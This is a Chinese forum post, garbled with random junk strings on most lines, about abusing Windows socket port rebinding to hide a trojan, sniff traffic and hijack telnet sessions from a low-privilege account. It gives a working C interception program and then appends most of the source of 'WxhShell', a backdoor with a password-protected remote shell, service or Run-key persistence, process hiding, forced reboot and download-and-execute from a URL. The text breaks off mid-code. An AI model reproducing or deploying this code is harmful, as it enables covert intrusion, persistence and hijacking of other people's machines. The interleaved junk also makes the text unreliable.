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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: <D:.(AUeO  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); :e_V7t)o  
d@ i}-;  
  saddr.sin_family = AF_INET; ?\vh9  
N9jH\0nG  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Hw7;;HK 7  
]ro*G"-_1#  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); '_GrD>P)-  
xfpa]Z  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ,5|&A  
**$LR<L  
  这意味着什么?意味着可以进行如下的攻击: Gcdd3W`O  
"/3 db[  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 v K9E   
] Bcp;D  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) E;Y;z  
M!/Cknm  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ]!I7Y.w6  
$* AYcy7  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  o$#G0}yn  
P,xKZ{(  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 +_; l|uhT;  
8.XoVW#  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 X.Rb-@  
/JHc!D  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 J&M o%"[)  
7[> 6i  
  #include F ~^Jmp7Y  
  #include `V`lo,"\  
  #include ht2\y&si  
  #include    AfX}y+Ah  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ,u+PyG7 cb  
  int main() Bk*F_>X"  
  { xD5:RE~g  
  WORD wVersionRequested; j/fzzI0@  
  DWORD ret; f|B=_p80  
  WSADATA wsaData; JBXrFC;  
  BOOL val; LS7, a|  
  SOCKADDR_IN saddr; n\xX},  
  SOCKADDR_IN scaddr; y0#u9t"Z;  
  int err; oXb;w@:  
  SOCKET s; N>XS=2tzN  
  SOCKET sc; $}) g?Q  
  int caddsize; r[BVvX/,F  
  HANDLE mt; l8I /0`_  
  DWORD tid;    swK-/$#  
  wVersionRequested = MAKEWORD( 2, 2 ); 9;r)#3Q[^  
  err = WSAStartup( wVersionRequested, &wsaData ); hEBY8=gK  
  if ( err != 0 ) { ]^lw*724'>  
  printf("error!WSAStartup failed!\n"); }% `.h"  
  return -1; A/u)# ^\  
  } zG ^$"f2  
  saddr.sin_family = AF_INET; PcA2/!a  
   v.pBX<  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 tn Pv70m  
j6Yy6X]  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); K POa|$  
  saddr.sin_port = htons(23); SZ,YS 4M  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) |y0(Q V  
  { CDP U\ZG  
  printf("error!socket failed!\n"); { OXFN;2  
  return -1; ,q}ML TS i  
  } Z Uox Mm  
  val = TRUE; \6R,Nq  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 w8MG(Lq1"  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) @JD;k>  
  { \/: {)T~  
  printf("error!setsockopt failed!\n"); k< y>)  
  return -1; \.-}adKg  
  } Nv(9N-9r  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ~8GFQ ph  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 XZ^^%*ew  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 {ys=Ndo8  
v2B0q4*BS?  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) =<?+#-;p  
  { -Z 4e.ay5  
  ret=GetLastError(); 555XCWyrC  
  printf("error!bind failed!\n"); DNr@u/>vB  
  return -1; wB!Nc Y\p  
  } WU71/PYm`  
  listen(s,2); 1JztFix  
  while(1) f33l$pOp  
  { :_g$.h%%  
  caddsize = sizeof(scaddr); 4lKq{X5<  
  //接受连接请求 ?QFpv #4  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); wVEm:/;z&  
  if(sc!=INVALID_SOCKET) ]Q>.HH  
  { m 8aITd8  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); [8T^@YN  
  if(mt==NULL) :9QZPsL  
  { 2zs73:z  
  printf("Thread Creat Failed!\n"); 9s6U}a'c  
  break; G#d{,3Gq1  
  } 9f&C  
  } >pp5;h8!  
  CloseHandle(mt); 4nh>'v%pD  
  } W g02 A\  
  closesocket(s); n:yTeZ=-s4  
  WSACleanup(); ;c4 gv,q@  
  return 0; &Low/Y'.jJ  
  }   s'%R  
  DWORD WINAPI ClientThread(LPVOID lpParam) FaDjLo2'o  
  { mP0yk|  
  SOCKET ss = (SOCKET)lpParam; m^ tFi7c  
  SOCKET sc; :lf+W  
  unsigned char buf[4096]; (Iaf?J5{  
  SOCKADDR_IN saddr; `$W_R[  
  long num; @d mV  
  DWORD val; Exc9` 7%.  
  DWORD ret; _j< K=){  
  //如果是隐藏端口应用的话,可以在此处加一些判断 G 8g<>d{j  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   l'/R&`-n  
  saddr.sin_family = AF_INET; B9NWW6S  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); inh=WUEW  
  saddr.sin_port = htons(23); apg=-^L'  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) HY&aV2|A1  
  { $}>+kHoT{  
  printf("error!socket failed!\n"); +@p% p  
  return -1; mLP.t%?#   
  } y5 *Z 3"<  
  val = 100; =a@j=  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) x{n`^;Y1  
  { l5Gq|!2yxD  
  ret = GetLastError(); P<X\%_Iat  
  return -1; n1ly y0%u  
  } G9xmmc  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) :6vm+5!  
  { 4^WpS/#4  
  ret = GetLastError(); Xq_5Qv  
  return -1; YjxF}VI~<  
  } 3%E }JU?MM  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) +a^nlW9g  
  { bN]+_ mF  
  printf("error!socket connect failed!\n"); '8!Y D?n  
  closesocket(sc); g# Sl %Y  
  closesocket(ss); yku5SEJ\  
  return -1; 0 q} *S~  
  } vms|x wb  
  while(1) $~VRza 8Q  
  { K 1 a\b"  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 lij.N) E  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 bdC8zDD  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 mS(fgq6  
  num = recv(ss,buf,4096,0); UNom-  
  if(num>0) r:f[mk"-"A  
  send(sc,buf,num,0); S- pV_Ff  
  else if(num==0) K/i*w<aPb7  
  break; `6lr4Kk @R  
  num = recv(sc,buf,4096,0); V^3L3|k  
  if(num>0) ]x RM&=)<  
  send(ss,buf,num,0); G,o6292hj  
  else if(num==0) E"qRw_ ~t  
  break; &cxRD  
  } Y9uC&/_C  
  closesocket(ss); $c]fPt"i  
  closesocket(sc); D^l%{IG   
  return 0 ; ,z;cbsV-{  
  } 3Z5D)zuc  
:=u?Fqqws  
xe{ !wX  
========================================================== vk77B(u  
O_wEcJPE  
下边附上一个代码,,WXhSHELL OSs&r$  
v!<gY m&  
========================================================== 7"sD5N/>uh  
q8/MMKCbX  
#include "stdafx.h" t&H?\)!4  
5ymk\Lw  
#include <stdio.h> piPR=B+  
#include <string.h> [DJ|`^eKD  
#include <windows.h> `|{-+m  
#include <winsock2.h> ';3{T:I  
#include <winsvc.h> "P 7nNa  
#include <urlmon.h> ; <&*rnH  
ar__ Pf6r  
#pragma comment (lib, "Ws2_32.lib") JmxH"7hTE  
#pragma comment (lib, "urlmon.lib") j(m.$:  
A#.edVj.g4  
#define MAX_USER   100 // 最大客户端连接数 ^hc!FD  
#define BUF_SOCK   200 // sock buffer qh9Z50E9  
#define KEY_BUFF   255 // 输入 buffer sDPs G5q<  
hIy~B['  
#define REBOOT     0   // 重启 (;T^8mI2  
#define SHUTDOWN   1   // 关机 %zG;Q@  
w65K[l;2  
#define DEF_PORT   5000 // 监听端口 K2TcOFQ  
CyS$|E  
#define REG_LEN     16   // 注册表键长度 &]`(v}`]  
#define SVC_LEN     80   // NT服务名长度 ''yB5#^w(  
r_ I5. gK  
// 从dll定义API r[|Xy>Zj  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ',9V|jvK  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); gG0!C))8  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); OI|[roMK  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); b*a#<K$T_  
X{5vXT\/y  
// wxhshell配置信息 S\:P-&dC  
struct WSCFG { ZP@ $Q%up  
  int ws_port;         // 监听端口 >0/i[k-dk  
  char ws_passstr[REG_LEN]; // 口令 q!.byrod  
  int ws_autoins;       // 安装标记, 1=yes 0=no }AB, 8n`  
  char ws_regname[REG_LEN]; // 注册表键名 4ezEW|S  
  char ws_svcname[REG_LEN]; // 服务名 _ TiuY  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 wH>a~C:  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 VCV"S>aVf  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Q-_N2W ?  
int ws_downexe;       // 下载执行标记, 1=yes 0=no CAfGH!l!  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ((H^2KJn  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 u(@$a4z  
'))0Lh l  
}; L-ET<'u  
kVkU)hqR  
// default Wxhshell configuration xN5)   
struct WSCFG wscfg={DEF_PORT, `, OG7hg  
    "xuhuanlingzhe", @5N]ZQ9  
    1, ;&9)I8Us  
    "Wxhshell", /s x@$cvW  
    "Wxhshell", x-$&g*<  
            "WxhShell Service", 4w*Skl=F}  
    "Wrsky Windows CmdShell Service", ;D3C >7y  
    "Please Input Your Password: ", }tRm]w  
  1, ;Y 00TGU  
  "http://www.wrsky.com/wxhshell.exe", 9]k @Q_  
  "Wxhshell.exe" (/=f6^}  
    }; MLXNZd   
N-G1h?e4  
// 消息定义模块 fT;s-v[`k  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; nEJq_  
char *msg_ws_prompt="\n\r? for help\n\r#>"; L{X_^  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ^]H5h]U '  
char *msg_ws_ext="\n\rExit."; f86XkECZ;`  
char *msg_ws_end="\n\rQuit."; |?!~{-o  
char *msg_ws_boot="\n\rReboot..."; "Lzi+1  
char *msg_ws_poff="\n\rShutdown..."; ^H~h\,;zQ  
char *msg_ws_down="\n\rSave to "; p*< 0"0  
ASKf '\,dV  
char *msg_ws_err="\n\rErr!"; `.E[}W  
char *msg_ws_ok="\n\rOK!"; K*%9)hq  
PY{ G [  
char ExeFile[MAX_PATH]; WA5&# kg\  
int nUser = 0; Lf16j*}-Q  
HANDLE handles[MAX_USER]; Xnt~]k\"  
int OsIsNt; #jkf1"8C  
v&9y4\j  
SERVICE_STATUS       serviceStatus; i`(XLi}k  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; -)w@f~Q  
=m!-m\B/  
// 函数声明 N:S/SZI  
int Install(void); | z9*GY6RU  
int Uninstall(void); ZGBd%RWjG_  
int DownloadFile(char *sURL, SOCKET wsh); /kE6@  
int Boot(int flag); )B T   
void HideProc(void); T/b6f;t-s  
int GetOsVer(void); 6"wlg!k8  
int Wxhshell(SOCKET wsl); /z4$gb7Y  
void TalkWithClient(void *cs); WYHQ?  
int CmdShell(SOCKET sock); X.OD`.!>  
int StartFromService(void); L5Ebc#  
int StartWxhshell(LPSTR lpCmdLine); ? E1<!~  
7S-ys+  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); MDnKX?Y  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); v_<rNc,z-s  
6^V=?~a&z  
// 数据结构和表定义 pM+ AjPr  
SERVICE_TABLE_ENTRY DispatchTable[] = !<j'Ea  
{ |nc@"OJ  
{wscfg.ws_svcname, NTServiceMain}, %>yG+Od5Z  
{NULL, NULL}  w^?>e;/\  
}; /$ w%Q-p  
Ok|*!!T  
// 自我安装 8hu<E4]L  
int Install(void) Dl<bnx;0  
{ hB "fhX  
  char svExeFile[MAX_PATH]; tWJZoD6}h  
  HKEY key; 2POXj!N  
  strcpy(svExeFile,ExeFile); 44gPCW,u  
v:f}XK<  
// 如果是win9x系统,修改注册表设为自启动 ]%hn`ZJ  
if(!OsIsNt) { s6H]J{1F  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { RM]\+BK  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); fFMlDg[];  
  RegCloseKey(key); 2L:_rR#w  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `[z<4"Os   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); KT_!d*  
  RegCloseKey(key); SOs:]U-T3  
  return 0; SbND Y{5RO  
    } !F*5M1Kjd  
  } c' ^?/$H|  
} \MsTB|Z  
else { Umz KY  
<5-[{Q/2z  
// 如果是NT以上系统,安装为系统服务 %<)2/|lCd  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); <C_jF  
if (schSCManager!=0) w;;BSJ]+[  
{ c>,'Y)8   
  SC_HANDLE schService = CreateService @GPCwE1  
  ( SAH-p*.  
  schSCManager, c-x,fS"&W  
  wscfg.ws_svcname, 61,;Uc\T  
  wscfg.ws_svcdisp, ?274uAO'  
  SERVICE_ALL_ACCESS, ]jtK I4  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , J}*,HT*  
  SERVICE_AUTO_START, qaqBOHI6G  
  SERVICE_ERROR_NORMAL, ]S&&|Fc  
  svExeFile, i)o2klIkB  
  NULL, ."TxX.&HE  
  NULL, J &o |QG  
  NULL, cW~}:;D4  
  NULL, }'5MK  
  NULL dWM'fg  
  ); *!4Z#Y  
  if (schService!=0) szb_*)k  
  { i#&z2h-b  
  CloseServiceHandle(schService); >] qc-{>&  
  CloseServiceHandle(schSCManager); &)YQvTzs  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ^Xuvy{TkPH  
  strcat(svExeFile,wscfg.ws_svcname); ^7>3a/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { [8.c8-lZ^  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); fsmN)_T  
  RegCloseKey(key); XpIklL7  
  return 0; wc0jhHZO ?  
    } IrR7"`.i  
  } V8 e>l[tH  
  CloseServiceHandle(schSCManager); P]<4R:yb  
} <m!h&_eg  
} tf =6\p  
!!qK=V|>  
return 1; 0v6)t.]s  
} 6h>wt-tRC  
9V'%<pk''(  
// 自我卸载 Eou~P h*t  
int Uninstall(void) CWf / H)~  
{ \(~y?l  
  HKEY key; 5uGqX"  
]O Z5 fd  
if(!OsIsNt) { *w$W2I>b7  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { w:??h4lt  
  RegDeleteValue(key,wscfg.ws_regname); IW)()*8;/  
  RegCloseKey(key); cec9l65d  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { n?oW< &  
  RegDeleteValue(key,wscfg.ws_regname); ]fm'ZY&  
  RegCloseKey(key); jL y  
  return 0; `0rd26Qro  
  } &d9{k5/+\  
} BoA/6FRi[  
} [N FFB96  
else { KMt`XaC9e  
+~St !QV%  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ?J' Y&  
if (schSCManager!=0) pb^i^tA+A  
{ sD<a+Lw}x  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 4)E_0.C  
  if (schService!=0) rI{=WPI&WU  
  { TH)"wNa  
  if(DeleteService(schService)!=0) { @)IjNplYkw  
  CloseServiceHandle(schService); OL5v).Bb  
  CloseServiceHandle(schSCManager); "-y-iJ  
  return 0; 6L:x^bM  
  } 5&xB6|k  
  CloseServiceHandle(schService); O[# 27_dH  
  } 3E7ULK  
  CloseServiceHandle(schSCManager); sPd Gw~{  
} kSC}aN'  
} U!T~!C^  
WJ)z6m]  
return 1; w'L\?pI  
} mrTlXXz  
z|fmrwkN'$  
// 从指定url下载文件 })uGRvz  
int DownloadFile(char *sURL, SOCKET wsh) 9s_vL9u  
{ xrlmKSPa  
  HRESULT hr; =nz}XH%=  
char seps[]= "/"; >d~WH@o`G  
char *token; PEc,l>u9  
char *file; Gb"r|(!  
char myURL[MAX_PATH]; l|xZk4@_uE  
char myFILE[MAX_PATH]; _a_7,bk5  
QFfK0X8cC  
strcpy(myURL,sURL); & SiP\65N  
  token=strtok(myURL,seps); MRQ.`IoS  
  while(token!=NULL) _AYXc] 4%  
  { OtSL*'7>  
    file=token; c/Qt Ot  
  token=strtok(NULL,seps); J~=n`pW  
  } >oea{u  
)S`jFQ1  
GetCurrentDirectory(MAX_PATH,myFILE); ktI/3Mb@  
strcat(myFILE, "\\"); n 9\ C2r  
strcat(myFILE, file); UU'|Xz9~  
  send(wsh,myFILE,strlen(myFILE),0); H|,Oswk~-  
send(wsh,"...",3,0); 4!$s}V=6  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); U QE qX  
  if(hr==S_OK) ]e >RK'  
return 0; l6(-I Tb  
else 7:A x(El  
return 1; 0- ><q  
:!/gk8F|dI  
} FSUttg"  
[FK<96.nt  
// 系统电源模块 CQZgMY1{  
int Boot(int flag) 'jmTXWq*  
{ jxiC Kx,G  
  HANDLE hToken; ~CtL9m3tO  
  TOKEN_PRIVILEGES tkp; MWI4Y@1bS  
sBu=e7  
  if(OsIsNt) { : q ti  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); bB }$'  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); z?>D_NLX6  
    tkp.PrivilegeCount = 1; cKN$ =gd  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; PN0VQ/..  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); .U"8mP=&  
if(flag==REBOOT) { !icT/5  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 994` ua+  
  return 0; 9m|kgY# 4  
} <WjF*x p  
else { oHMo>*?  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ( xXGSx  
  return 0; \ W?R  
} vy_D>tp  
  } Au{<hQ =  
  else { +zrAG 24q  
if(flag==REBOOT) { |l&vkRrN  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) SF}<{x_  
  return 0; fLDg~;3  
} lE!a  
else { @+'-ADX  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ix W@7m  
  return 0; &ZghMq~  
} `6 /$M!4$  
} [01.\eh  
'\Jj8oJQj  
return 1; B.g[c97  
} y_*PQZ$c<  
{88gW\GL  
// win9x进程隐藏模块 UbEb&9}  
void HideProc(void) I8+~ &V}  
{ [cTe54n  
%STliJ  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); %|^OOU}  
  if ( hKernel != NULL ) )x}l3\s  
  { *<E]E?  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); /&CmO>^e  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); d)@<W1;  
    FreeLibrary(hKernel); G P:FSprP  
  } YLwnhy>dD  
ME;n^y\8  
return; |+35y_i6  
} z\0 CE]#T  
tp6M=MC%  
// 获取操作系统版本 eh4gQ^l  
int GetOsVer(void) 28/ ADZ  
{ mNb ?*3\  
  OSVERSIONINFO winfo; V$"ujRp  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); aFe`_cnG  
  GetVersionEx(&winfo); {K4+6p  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) JYrY[',u  
  return 1; [q_`X~3  
  else txZ?=8j_Y  
  return 0; neXeAU  
} -zp0S*iP7  
?OE.O/~l  
// 客户端句柄模块 d"5oD@JG:  
int Wxhshell(SOCKET wsl) Y4cYZS47  
{ 1"pI^Ddt  
  SOCKET wsh; !).}u,*'no  
  struct sockaddr_in client; (RUT{)p[  
  DWORD myID; a-"k/P#  
"V>R9dO{"!  
  while(nUser<MAX_USER) Cw~RJ^a_  
{ cTXri8K_  
  int nSize=sizeof(client); 2$14q$eb  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); zaFt*~@X  
  if(wsh==INVALID_SOCKET) return 1; sp7*_&'J  
 *[r!  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); tG8jFou  
if(handles[nUser]==0) ~go fQ  
  closesocket(wsh); K,6b3kk  
else wO:Sg=,  
  nUser++; ew;ur?  
  } }w/;){gu  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ~_9n.C  
KjFK/Og.  
  return 0; Ti2Ls5H}  
} `} m Q  
v?0r`<Mn  
// 关闭 socket }<>~sy  
void CloseIt(SOCKET wsh) 1VF    
{  ],ZzI  
closesocket(wsh); j,t#B"hOnp  
nUser--; CW)Z[<d8  
ExitThread(0); HxB m~Lcqy  
} 3)ma\+< 6  
28hHabd|  
// 客户端请求句柄 d\H&dkpH  
void TalkWithClient(void *cs) yMZHUd  
{ QDTBWM%  
8>7RxSF  
  SOCKET wsh=(SOCKET)cs; b1gaj"]  
  char pwd[SVC_LEN]; \.f}W_OF  
  char cmd[KEY_BUFF]; G/d4f?RU  
char chr[1]; Q|,B*b  
int i,j; K*IxUz(  
}m/RZP~=  
  while (nUser < MAX_USER) { 2>]a)  
T/c<23i  
if(wscfg.ws_passstr) { p1D[YeF4  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  cO\-  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); t ?h kL  
  //ZeroMemory(pwd,KEY_BUFF); $s4Wkq  
      i=0; _TUk(Qe  
  while(i<SVC_LEN) { TgTnqR@/  
E"%2)  
  // 设置超时 aYn8 ^  
  fd_set FdRead; hKNY+S})g  
  struct timeval TimeOut; ~"lJ'&J}  
  FD_ZERO(&FdRead); v[TYc:L=  
  FD_SET(wsh,&FdRead); ~1*A  
  TimeOut.tv_sec=8; `gpQW~*R-;  
  TimeOut.tv_usec=0; ExSO|g]%  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Q \]Xm>  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 5tv<8~:K  
@ct+7v~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .6m "'m0;  
  pwd=chr[0]; ]WUC:6x  
  if(chr[0]==0xd || chr[0]==0xa) { YB)3X[R+0  
  pwd=0; E15vq6DKF  
  break; ~gI{\iNF/  
  } "o&HE@t  
  i++; n;8'`s  
    } K9[e>  
wQ+dJ3b$  
  // 如果是非法用户,关闭 socket LhzMAW<L4  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); RA],lNs  
} >r)X:K+I  
QC0!p"  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); [pg}S#A  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *U=]@I}J  
{ub/3Uh  
while(1) { :%JC^dV(  
F52B~@ .  
  ZeroMemory(cmd,KEY_BUFF); _Mc>W0'5@  
"BVdPSDBk  
      // 自动支持客户端 telnet标准   xM s]Hs  
  j=0; /u`3VOn  
  while(j<KEY_BUFF) { WlV z,t'if  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); r7]"?#  
  cmd[j]=chr[0]; mxFn7.|r~  
  if(chr[0]==0xa || chr[0]==0xd) { =q(GHg;'  
  cmd[j]=0; /%n`V  
  break; ~~F2Ij  
  } I\Glc=T*  
  j++; ?0<w  
    } 8BXqZVm.  
Y-~~,Yl~  
  // 下载文件 G{x[uE2X&f  
  if(strstr(cmd,"http://")) { [9mL $;M W  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); gVU1Y6.  
  if(DownloadFile(cmd,wsh)) .wK1El{bf  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); rS*$rQCr=  
  else 6+dn*_[Z6  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "Vd_CO  
  } !EF(*~r!9L  
  else { )F pJ 1  
 >0Ev#cX4  
    switch(cmd[0]) {  m@rSz  
  MR'o{?{e`  
  // 帮助 n&-496H  
  case '?': { *~z#.63oZ  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); DB`QsiC)  
    break; 5IqQ|/m<6  
  } 9.M{M06;  
  // 安装 6'OO-o  
  case 'i': { XidxNPz0^  
    if(Install()) {hqAnZ@]vr  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); WW "i  
    else  0=6/yc  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); nhdTTap&9  
    break; 0O2n/`'  
    } {UH9i'y:t  
  // 卸载 :DkAQ-<~  
  case 'r': { ~fzuwz  
    if(Uninstall()) dl l%4Sd  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); noNm^hFL  
    else q]<xMg#nu  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0y %L-:/c|  
    break; *]s&8/Gmb  
    } ';RI7)<  
  // 显示 wxhshell 所在路径 x:5dC I  
  case 'p': {  ?RD *1  
    char svExeFile[MAX_PATH]; A8?[6^%O|  
    strcpy(svExeFile,"\n\r"); ^uaFg`S  
      strcat(svExeFile,ExeFile); 0,FC YTtj$  
        send(wsh,svExeFile,strlen(svExeFile),0); Ie'P#e'  
    break; o;`!kIQ  
    } QLb MPS  
  // 重启 @qK<T  
  case 'b': { ilEi")b=  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); b;9n'UX\  
    if(Boot(REBOOT)) :kw0y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); O|v (5 8A  
    else { J\W-dI  
    closesocket(wsh); K]N~~*`%`  
    ExitThread(0); P#G.lft"O  
    } cfoYnM  
    break; B} *V%}:)  
    } - G ?%QG`v  
  // 关机 w;yx<1f  
  case 'd': { R Td^ImV  
